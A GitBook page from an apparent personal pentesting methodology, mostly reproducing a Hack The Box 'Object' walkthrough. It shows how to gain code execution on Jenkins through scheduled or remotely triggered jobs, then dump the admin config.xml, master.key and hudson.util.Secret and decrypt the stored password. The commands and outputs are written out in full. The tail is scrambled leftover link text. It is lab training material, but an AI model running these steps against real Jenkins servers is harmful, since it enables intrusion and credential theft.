Methodology
  • 😃Welcome
    • Bullet Proof Strategy
    • 👁️Enumeration
      • 👁️‍🗨️👁🗨 Enumeration Cheatsheet
      • SNMP Enumeration
      • IRC Enumeration
      • LDAP Enumeration
      • RPC Enumeration
      • DNS Enumeration
      • Rsync Enumeration
      • IDENT Enumeration
      • SMB Enumeration
        • Copy of SMBPass Change
      • Web Enumeration
        • Methodology
        • Enumerating Patterns Trick
      • Kerberos Enumeration
    • 👺Exploitation
      • Passwords Attacks
        • Decrypting VNC passwords
        • Decrypting Jenkins passwords
        • MongoDB Decryption
      • Web Applications
        • My little cheatsheet
        • Login Portal Strat
        • SQL injection
        • Local File Inclusion
        • WebDav
        • Wordpress
        • phpmyadmin
        • Bypassing Proxies
        • Node.Js Command Injection
        • Weak Cookies and Parameters
        • PHP Web Shells
        • Code Injection
        • Werkzeug
        • Collection of Vulnerable Apps
          • RaspAP 2.5 Authenticated RCE
          • ZenPhoto 1.4.1.4 RCE
          • Sonatype Nexus 3.21.1
          • Argus Surveillance DVR 4.0
          • SmarterMail + .Net Remote
          • H2 Web Console
          • Exhibitor for Zookeper (Exhibitor Web)
          • Subrion 4.2.1
          • RestStack API 3100
          • Kibana 5.6.15 < 6.6.1
          • Authenticated NodeBB Plugin Emoji 3.2.1
        • Discovering Hidden Parameters
        • 🕴️Jenkins
      • Vulnerable Services
        • Authenticated MSSQL Shell
        • Authenticated PostgresSQL
        • Authenticated MongoDB
        • ClamAV - Milter 0.91.2
        • Unreal Tournament 99
        • MS17-10 Eternal Blue
        • REDIS Exploitation
        • OpenSMTPD < 6.6.2
        • James Adminitrator Remoting 2.3.2
      • Client Side Attacks
        • .ODT File Macros
      • Evil-WinRM
      • Methodology
      • Reversing
        • .net binaries
      • Enumerating Firewall
    • 👽Privilege Escalation
      • Windows
        • Enumeration
        • Enumerate Permissions on Folders and Binaries
          • Insecure File Permissions
          • Modifiable Binary Path
          • Unquoted Service Path
        • Meterpreter Session Injection /Migration
        • ⏲️Scheduled Apps (CronJobs)
        • 🥔Impersonation Attacks
        • 🗒️DLL Hijacking
        • Passwords
          • Runas
            • Runas but Powershell
          • Autologon Credentials
        • AlwaysInstallElevated
        • Windows XP SP0/SP1
        • W10 Version 1803
        • Windows Vista x86 SP1
        • 👻SMB Ghost
        • Local Service / Network Service Users
        • Dangerous Privileges
          • SeLoadDriver Privilege
          • SeRestore Privilege
          • 🥔SeImpersonatePrivilege
          • SeBackUp Privilege
        • Bypassing AV
        • Port Forwarding to access Internal services
        • Start Up Apps
        • Other Users
        • Resources
        • M16-032
        • Upgrading Powershell to Meterpreter
      • Linux
        • Enumerating SUID binaries
          • Find SUID
          • CP SUID
          • dosbox SUID
          • start-stop-daemon SUID
          • gcore SUID
        • Fail2Ban Group
        • Upgrading TTY Shells
        • Git Repository
        • Escaping RBASH
        • Docker
        • Init, Init.d , systemd
        • Shared Objects .so Hijacking
        • Sudo Version - CVE 2021-4034
        • Tar Wilcard Injection
        • Tips to become root
        • Python based applications escalation
        • Internal Services
          • mySQL
            • MySQL User Defined Function
        • Writable Passwd
        • Exiftool Priv Esc
        • Glusterd + Docker Container Breakout
        • choom
        • Slack
      • File Transfer Methods
        • Windows
        • Linux
      • Pivoting
    • 💀Elevated Post Exploitation
    • 🟦Active Directory
      • Attack Vectors
        • LLMNR Poisoning
        • ASREPRoast
        • Spraying
          • SMBPass Change
        • Building Userbase
        • NTLM Relay Attack
        • IPv6 Takeover
      • Post Exploitation - Enumeration
        • Bloodhound
        • Enumeration - Powerview
      • Exploitation
        • Kerberoasting
        • GMSA Password Read
        • Account Operators
        • WriteDACL over DCSync
        • GenericWrite GPO
        • PS-Remoting
        • LAPS Password Read
        • Abusing ACLs
          • GenericWrite/GenericAll/AllExtendedRights over Users
        • Groups.xml
        • Azure AD Sync Dump
        • AD Recycle Bin Group
        • Get-ChangesAll
        • WriteOwner Over Domain Admins
        • Allowed to Delegate To:
        • Force Change Password
      • Resources
    • 😎Walkthroughs
      • 🪨Proving Grounds
      • 📗Hack The Box
        • Windows
        • Linux
    • Cert Pictures :)
    • 🐍Python Lessons
      • Jenkins Script Groovy Console Exploit in Python
      • Kerbrute Automation
    • 🐚Bash Lessons
    • C# Programming
      • Process Injection Code
Powered by GitBook
On this page
  1. Welcome
  2. Exploitation
  3. Web Applications

Jenkins

PreviousDiscovering Hidden ParametersNextVulnerable Services

Last updated 2 years ago

We could try to spam default credentials and from there gain access via the groovy console using a reverse shell.

If we cant then we should try to create a new account and create a job.

If we dont have the build options then we can get code execution via scheduling.

Method 1: Schedule

Clicking the “Configure” link in the sidebar leads back to the settings for the job, where I’ll look more closely at the “Build Triggers” section:

I’ll save and after a minute, refresh the page, and there’s a build in the history:

Hovering over the “#1” there’s a dropdown:

“Console Output” shows the job ran:

Method 2: Trigger Remotely

Running different commands waiting one minute between each one is a bit exhausting. I’ll disable the scheduled trigger. Looking at the other options for “Build Triggers”, “Trigger builds remotely (e.g., from scripts)” seems interesting. Checking it expands out asking for an “Authentication Token”:

I can try just adding a string as the token (say “TestToken”) and requesting the endpoint they give, but it doesn’t work:

oxdf@hacky$ curl "http://object.htb:8080/job/0xdf's%20job/build?token=TestToken"
<html><head><meta http-equiv='refresh' content='1;url=/login?from=%2Fjob%2F0xdf%27s%2520job%2Fbuild%3Ftoken%3DTestToken'/><script>window.location.replace('/login?from=%2Fjob%2F0xdf%27s%2520job%2Fbuild%3Ftoken%3DTestToken');</script></head><body style='background-color:white; color:white;'>


Authentication required
<!--
-->

</body></html>    

Back during enumeration I found where I could create API tokens in my profile. I’ll head there and click “Add new Token”:

I’ll name it 0xdfToken and click generate:

I’ll also update the batch script with the job so that it’s clear why it triggered:

http://[username]:[token]@[host]/job/[job name]/build?token=[token name]

So for me, that’s:

oxdf@hacky$ curl "http://0xdf:1176e6f7ba9fdf90c7ec7dba8c413cda89@object.htb:8080/job/0xdf's%20job/build?token=0xdfToken"

There’s no response from the server, but the job triggers, and a moment later there’s console output:

Jenkins Enumeration

Look for Creds

Note: I’m still running commands by editing the job, triggering it, and then checking the console output. For the sake of readability, I’ll just be showing the output from this point on unless there’s a reason to show it.

Looking at the previous console returns, it’s clear the job is running from C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\0xdf's job. Looking up a couple directories:

C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\0xdf's job>powershell -c ls ..\.. 


    Directory: C:\Users\oliver\AppData\Local\Jenkins\.jenkins


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
d-----        2/27/2022   3:49 AM                jobs                                                                  
d-----       10/20/2021  10:19 PM                logs                                                                  
d-----       10/20/2021  10:08 PM                nodes                                                                 
d-----       10/20/2021  10:12 PM                plugins                                                               
d-----       10/20/2021  10:26 PM                secrets                                                               
d-----       10/25/2021  10:31 PM                updates                                                               
d-----       10/20/2021  10:08 PM                userContent                                                           
d-----        2/26/2022   1:59 PM                users                                                                 
d-----       10/20/2021  10:13 PM                workflow-libs                                                         
d-----        2/27/2022   3:33 AM                workspace                                                             
-a----        2/26/2022   1:39 PM              0 .lastStarted                                                          
-a----        2/27/2022   9:58 AM             41 .owner                                                                
-a----        2/26/2022   1:39 PM           2505 config.xml                                                            
-a----        2/26/2022   1:39 PM            156 hudson.model.UpdateCenter.xml                                         
-a----       10/20/2021  10:13 PM            375 hudson.plugins.git.GitTool.xml                                        
-a----       10/20/2021  10:08 PM           1712 identity.key.enc                                                      
-a----        2/26/2022   1:39 PM              5 jenkins.install.InstallUtil.lastExecVersion                           
-a----       10/20/2021  10:14 PM              5 jenkins.install.UpgradeWizard.state                                   
-a----       10/20/2021  10:14 PM            179 jenkins.model.JenkinsLocationConfiguration.xml                        
-a----       10/20/2021  10:21 PM            357 jenkins.security.apitoken.ApiTokenPropertyConfiguration.xml           
-a----       10/20/2021  10:21 PM            169 jenkins.security.QueueItemAuthenticatorConfiguration.xml              
-a----       10/20/2021  10:21 PM            162 jenkins.security.UpdateSiteWarningsConfiguration.xml                  
-a----       10/20/2021  10:08 PM            171 jenkins.telemetry.Correlator.xml                                      
-a----        2/26/2022   1:39 PM            907 nodeMonitors.xml                                                      
-a----        2/27/2022  10:06 AM            856 queue.xml                                                             
-a----       10/20/2021  10:28 PM            129 queue.xml.bak                                                         
-a----       10/20/2021  10:08 PM             64 secret.key                                                            
-a----       10/20/2021  10:08 PM              0 secret.key.not-so-secret

The user information is stored in /users/:

C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\0xdf's job>powershell -c ls ..\..\users\ 

    Directory: C:\Users\oliver\AppData\Local\Jenkins\.jenkins\users

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        2/27/2022  10:30 AM                0xdf_4936803374376763548
d-----       10/21/2021   2:22 AM                admin_17207690984073220035
-a----        2/26/2022   1:59 PM            402 users.xml

In that admin directory, there’s a config.xml:

C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\0xdf's job>powershell -c ls ..\..\users\admin_17207690984073220035 

    Directory: C:\Users\oliver\AppData\Local\Jenkins\.jenkins\users\admin_17207690984073220035

Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-a----       10/21/2021   2:22 AM           3186 config.xml 

I’ll dump that file and save it to my local workstation:

<?xml version='1.1' encoding='UTF-8'?>
<user>
  <version>10</version>
  <id>admin</id>
  <fullName>admin</fullName>
  <properties>
    <com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty plugin="credentials@2.6.1">
      <domainCredentialsMap class="hudson.util.CopyOnWriteMap$Hash">
        <entry>
          <com.cloudbees.plugins.credentials.domains.Domain>
            <specifications/>
          </com.cloudbees.plugins.credentials.domains.Domain>
          <java.util.concurrent.CopyOnWriteArrayList>
            <com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl>
              <id>320a60b9-1e5c-4399-8afe-44466c9cde9e</id>
              <description></description>
              <username>oliver</username>
              <password>{AQAAABAAAAAQqU+m+mC6ZnLa0+yaanj2eBSbTk+h4P5omjKdwV17vcA=}</password>
              <usernameSecret>false</usernameSecret>
            </com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl>
          </java.util.concurrent.CopyOnWriteArrayList>
        </entry>
      </domainCredentialsMap>
    </com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty>
    <hudson.plugins.emailext.watching.EmailExtWatchAction_-UserProperty plugin="email-ext@2.84">
      <triggers/>
    </hudson.plugins.emailext.watching.EmailExtWatchAction_-UserProperty>
    <hudson.model.MyViewsProperty>
      <views>
        <hudson.model.AllView>
          <owner class="hudson.model.MyViewsProperty" reference="../../.."/>
          <name>all</name>
          <filterExecutors>false</filterExecutors>
          <filterQueue>false</filterQueue>
          <properties class="hudson.model.View$PropertyList"/>
        </hudson.model.AllView>
      </views>
    </hudson.model.MyViewsProperty>
    <org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty plugin="display-url-api@2.3.5">
      <providerId>default</providerId>
    </org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty>
    <hudson.model.PaneStatusProperties>
      <collapsed/>
    </hudson.model.PaneStatusProperties>
    <jenkins.security.seed.UserSeedProperty>
      <seed>ea75b5bd80e4763e</seed>
    </jenkins.security.seed.UserSeedProperty>
    <hudson.search.UserSearchProperty>
      <insensitiveSearch>true</insensitiveSearch>
    </hudson.search.UserSearchProperty>
    <hudson.model.TimeZoneProperty/>
    <hudson.security.HudsonPrivateSecurityRealm_-Details>
      <passwordHash>#jbcrypt:$2a$10$q17aCNxgciQt8S246U4ZauOccOY7wlkDih9b/0j4IVjZsdjUNAPoW</passwordHash>
    </hudson.security.HudsonPrivateSecurityRealm_-Details>
    <hudson.tasks.Mailer_-UserProperty plugin="mailer@1.34">
      <emailAddress>admin@object.local</emailAddress>
    </hudson.tasks.Mailer_-UserProperty>
    <jenkins.security.ApiTokenProperty>
      <tokenStore>
        <tokenList/>
      </tokenStore>
    </jenkins.security.ApiTokenProperty>
    <jenkins.security.LastGrantedAuthoritiesProperty>
      <roles>
        <string>authenticated</string>
      </roles>
      <timestamp>1634793332195</timestamp>
    </jenkins.security.LastGrantedAuthoritiesProperty>
  </properties>
</user>

There’s both a hash and an encrypted password.

Decrypt Password

Both require the config.xml, as well as master.key and hudson.util.Secret, but from /secrets/:

C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\0xdf's job>powershell -c ls ..\..\secrets 

    Directory: C:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets

Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
d-----       10/20/2021  10:08 PM                filepath-filters.d                                                    
d-----       10/20/2021  10:08 PM                whitelisted-callables.d                                               
-a----       10/20/2021  10:26 PM            272 hudson.console.AnnotatedLargeText.consoleAnnotator                    
-a----       10/20/2021  10:26 PM             32 hudson.model.Job.serverCookie                                         
-a----       10/20/2021  10:15 PM            272 hudson.util.Secret                                                    
-a----       10/20/2021  10:08 PM             32 jenkins.model.Jenkins.crumbSalt                                       
-a----       10/20/2021  10:08 PM            256 master.key                                                            
-a----       10/20/2021  10:08 PM            272 org.jenkinsci.main.modules.instance_identity.InstanceIdentity.KEY     
-a----       10/20/2021  10:21 PM              5 slave-to-master-security-kill-switch  

master.key looks like it’s stored in hex:

C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\0xdf's job>powershell -c cat ..\..\secrets\master.key 
f673fdb0c4fcc339070435bdbe1a039d83a597bf21eafbb7f9b35b50fce006e564cff456553ed73cb1fa568b68b310addc576f1637a7fe73414a4c6ff10b4e23adc538e9b369a0c6de8fc299dfa2a3904ec73a24aa48550b276be51f9165679595b2cac03cc2044f3c702d677169e2f4d3bd96d8321a2e19e2bf0c76fe31db19

In any case that the thing is not 256 bytes we can trim the new line by using the following commands.

cat master.key | tr -d '\n' | sponge master.key 
╭─      /home/kali/Object ▓▒░───────────────────────────────────────────────────────────────░▒▓ ✔  root@kali 
╰─ cat master.key                                 
f673fdb0c4fcc339070435bdbe1a039d83a597bf21eafbb7f9b35b50fce006e564cff456553ed73cb1fa568b68b310addc576f1637a7fe73414a4c6ff10b4e23adc538e9b369a0c6de8fc299dfa2a3904ec73a24aa48550b276be51f9165679595b2cac03cc2044f3c702d677169e2f4d3bd96d8321a2e19e2bf0c76fe31db19#                                                                                           ╭─      /home/kali/Object ▓▒░───────────────────────────────────────────────────────────────░▒▓ ✔  root@kali 
╰─ wc -c master.key
256 master.key

I can verify I got the full thing by making sure it’s the same length, 256 bytes:

oxdf@hacky$ wc -c master.key 
256 master.key

hudson.util.Secret looks like a binary file:

cmd /c powershell -c [convert]::ToBase64String((cat ../../secrets/hudson.util.Secret -Encoding byte))
C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\0xdf's job>powershell -c [convert]::ToBase64String((cat ..\..\secrets\hudson.util.Secret -Encoding byte)) 
gWFQFlTxi+xRdwcz6KgADwG+rsOAg2e3omR3LUopDXUcTQaGCJIswWKIbqgNXAvu2SHL93OiRbnEMeKqYe07PqnX9VWLh77Vtf+Z3jgJ7sa9v3hkJLPMWVUKqWsaMRHOkX30Qfa73XaWhe0ShIGsqROVDA1gS50ToDgNRIEXYRQWSeJY0gZELcUFIrS+r+2LAORHdFzxUeVfXcaalJ3HBhI+Si+pq85MKCcY3uxVpxSgnUrMB5MX4a18UrQ3iug9GHZQN4g6iETVf3u6FBFLSTiyxJ77IVWB1xgep5P66lgfEsqgUL9miuFFBzTsAkzcpBZeiPbwhyrhy/mCWogCddKudAJkHMqEISA3et9RIgA=

Now I can copy that string and echo it into base64 -d on my local system to save it to a file.

oxdf@hacky$ curl -L \
>   "https://github.com/hoto/jenkins-credentials-decryptor/releases/download/1.2.0/jenkins-credentials-decryptor_1.2.0_$(uname -s)_$(uname -m)" \
>    -o jenkins-credentials-decryptor
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   687  100   687    0     0   5088      0 --:--:-- --:--:-- --:--:--  5088
100 2336k  100 2336k    0     0  4382k      0 --:--:-- --:--:-- --:--:-- 10.3M
oxdf@hacky$ chmod +x jenkins-credentials-decryptor
oxdf@hacky$ ./jenkins-credentials-decryptor 
Please provide all required flags.

Usage:

  jenkins-credentials-decryptor \
    -m master.key \
    -s hudson.util.Secret \
    -c credentials.xml \
    -o json

Flags:

  -c string
        (required) credentials.xml file location
  -m string
        (required) master.key file location
  -o string
        (optional) output format [json|text] (default "json")
  -s string
        (required) hudson.util.Secret file location
  -version
        (optional) show version

oxdf@hacky$ ./jenkins-credentials-decryptor -m master.key -s hudson.util.Secret -c config.xml 
[
  {
    "id": "320a60b9-1e5c-4399-8afe-44466c9cde9e",
    "password": "c1cdfun_d2434\u0003\u0003\u0003",
    "username": "oliver"
  }
]
oxdf@hacky$ wget https://raw.githubusercontent.com/gquere/pwn_jenkins/master/offline_decryption/jenkins_offline_decrypt.py
--2022-02-27 18:47:56--  https://raw.githubusercontent.com/gquere/pwn_jenkins/master/offline_decryption/jenkins_offline_decrypt.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 2606:50c0:8000::154, 2606:50c0:8001::154, 2606:50c0:8002::154, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6875 (6.7K) [text/plain]
Saving to: ‘jenkins_offline_decrypt.py’

jenkins_offline_decrypt.py                           100%[=====================================================================================================================>]   6.71K  --.-KB/s    in 0s      

2022-02-27 18:47:57 (14.0 MB/s) - ‘jenkins_offline_decrypt.py’ saved [6875/6875]

oxdf@hacky$ python jenkins_offline_decrypt.py 
Usage:
        jenkins_offline_decrypt.py <jenkins_base_path>
or:
        jenkins_offline_decrypt.py <master.key> <hudson.util.Secret> [credentials.xml]
or:
        jenkins_offline_decrypt.py -i <path> (interactive mode)
oxdf@hacky$ python jenkins_offline_decrypt.py master.key hudson.util.Secret config.xml 
c1cdfun_d2434

“Build periodically” seems promising. I’ll check that box, which gives a empty text field. Jenkins uses a schedule system . I’ll enter “* * * * *”, and it warns me that this will run every minute:

shows how to actually trigger the job. I’ll need to use the url of the form:

I’ll look for the creds associated with the admin account. This could get more access in Jenkins, or perhaps give WinRM access to the host. talks about how each user’s information is stored in a config.xml file. talks about the encryption used to store secrets.

I could try to brute force the hash, but decrypting the password will be easier. Most of the references that will come up on Google (like ) show how to do this through the script console (/script), but as I showed above, I don’t have access to that.

I found two repos on Github that had methods for decrypting user passwords stored on Jenkins. is written in Go, and has a ton of Python scripts for pentesting Jenkins.

I’ll use PowerShell to base64 :

Downloading the Go binary from jenkins-credential-decryptor like in works great:

The pwn_jenkins works as well:

😃
👺
🕴️
similar to cron
This post
This article
This article
this one
This one
this one
encode it
these instructions
Python script
JenkinsHackTricks
GitHub - gquere/pwn_jenkins: Notes about attacking Jenkins serversGitHub
Jenkins Reverse Shellcasimsec
image-20220227065621251
image-20220227065719113
image-20220227113123491
image-20220227065815838
image-20220227113733612
image-20220227065741004
image-20220227113810458
image-20220227065323109
Logo
image-20220227124212845
Logo
image-20220228165017916
image-20220227124131900
Logo